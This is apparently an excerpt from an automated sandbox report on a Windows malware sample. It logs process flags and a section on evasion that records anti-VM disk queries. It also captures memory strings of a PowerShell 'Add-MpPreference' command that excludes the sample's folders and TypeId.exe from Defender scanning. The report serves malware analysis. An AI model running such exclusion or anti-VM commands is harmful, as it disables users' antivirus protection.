Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: file.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TypeId.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 8028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: txxbiwtbs.exe PID: 3624, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000001.00000002.1923913361.00000182B8533000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117C28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: + ... S\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\TEMP\ASLLOG_DETECTORSTRACE_TYPEID.EXE_7764.TXT
Source: powershell.exe, 00000001.00000002.1923913361.00000182B80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.000002111782E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXE;
Source: powershell.exe, 00000001.00000002.1923913361.00000182B84FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B84C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.00000211179B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: JOB COMMAND = ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1837907312.0000000001480000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\SYSTEM32\C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEWINSTA0\DEFAULT
Source: file.exe, 00000000.00000002.1783142050.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1789825347.000000000778E000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003689000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1835768754.00000000012F7000.00000004.00000010.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.000000000165E000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000034A4000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.0000000001684000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1837654824.0000000001460000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1838711068.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE
Source: file.exe, 00000000.00000002.1782217190.0000000006932000.00000004.00000020.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1941849554.0000000006880000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE
Source: file.exe, 00000000.00000002.1761959990.0000000001275000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <COMMAND>C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE/COMMAND>
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\TEMP\ASLLOG_SHIMDEBUGLOG_TYPEID.EXE_7764.TXTHXE
Source: TypeId.exe, 00000003.00000002.1941849554.0000000006880000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXE.CONFIG$
Source: TypeId.exe, 00000003.00000002.1841950156.00000000034A4000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TYPEID.EXELRFQ
Source: file.exe, 00000000.00000002.1763526633.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: D-MPPREFERENCE -EXCLUSIONPATH C:\USERS\user\APPDATA\LOCAL,C:\USERS\user\APPDATA\LOCAL\TEMP\; ADD-MPPREFERENCE -EXCLUSIONPROCESS TYPEID.EXE;
Source: TypeId.exe, 00000003.00000002.1838711068.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXES
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\SYSTEM32\C:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEC:\USERS\user\APPDATA\LOCAL\REGISTEREDCHANNELS\HWRTALNMJ\TYPEID.EXEWINSTA0\DEFAULTALLUSERSPROFILE=C:\PROGRAMDATAAPPDATA=C:\USERS\user\APPDATA\ROAMINGCOMMONPROGRAMFILES=C:\PROGRAM FILES\COMMON FILESCOMMONPROGRAMFILES(X86)=C:\PROGRAM FILES (X86)\COMMON FILESCOMMONPROGRAMW6432=C:\PROGRAM FILES\COMMON FILESCOMPUTERNAME=user-PCCOMSPEC=C:\WINDOWS\SYSTEM32\CMD.EXEDRIVERDATA=C:\WINDOWS\SYSTEM32\DRIVERS\DRIVERDATAHOMEDRIVE=C:HOMEPATH=\USERS\userLOCALAPPDATA=C:\USERS\user\APPDATA\LOCALLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2ONEDRIVE=C:\USERS\user\ONEDRIVEOS=WINDOWS_NTPATH=C:\PROGRAM FILES (X86)\COMMON FILES\ORACLE\JAVA\JAVAPATH;C:\WINDOWS\SYSTEM32;C:\WINDOWS;C:\WINDOWS\SYSTEM32\WBEM;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\;C:\WINDOWS\SYSTEM32\OPENSSH\;C:\USERS\user\APPDATA\LOCAL\MICROSOFT\WINDOWSAPPSPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=INTEL64 FAMILY 6 MODEL 143 STEPPING 8, GENUINEINTELPROCESSOR_LEVEL=6PROCESSOR_REVISION=8F08PROGRAMDATA=C:\PROGRAMDATAPROGRAMFILES=C:\PROGRAM FILESPROGRAMFILES(X86)=C:\PROGRAM FILES (X86)PROGRAMW6432=C:\PROGRAM FILESPSMODULEPATH=%PROGRAMFILES(X86)%\WINDOWSPOWERSHELL\MODULES;C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\MODULES;C:\PROGRAM FILES (X86)\AUTOIT3\AUTOITXPUBLIC=C:\USERS\PUBLICSYSTEMDRIVE=C:SYSTEMROOT=C:\WINDOWSTEMP=C:\USERS\user\APPDATA\LOCAL\TEMPTMP=C:\USERS\user\APPDATA\LOCAL\TEMPUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\USERS\userWINDIR=C:\WINDOWS
Source: TypeId.exe, 00000003.00000002.1838711068.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILE:///C:/USERS/user/APPDATA/LOCAL/REGISTEREDCHANNELS/HWRTALNMJ/TYPEID.EXEK
Source: powershell.exe, 00000001.00000002.1923913361.00000182B8533000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021117C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: RENCE -EXCLUSIONPROCESS TYPEID.EXE;
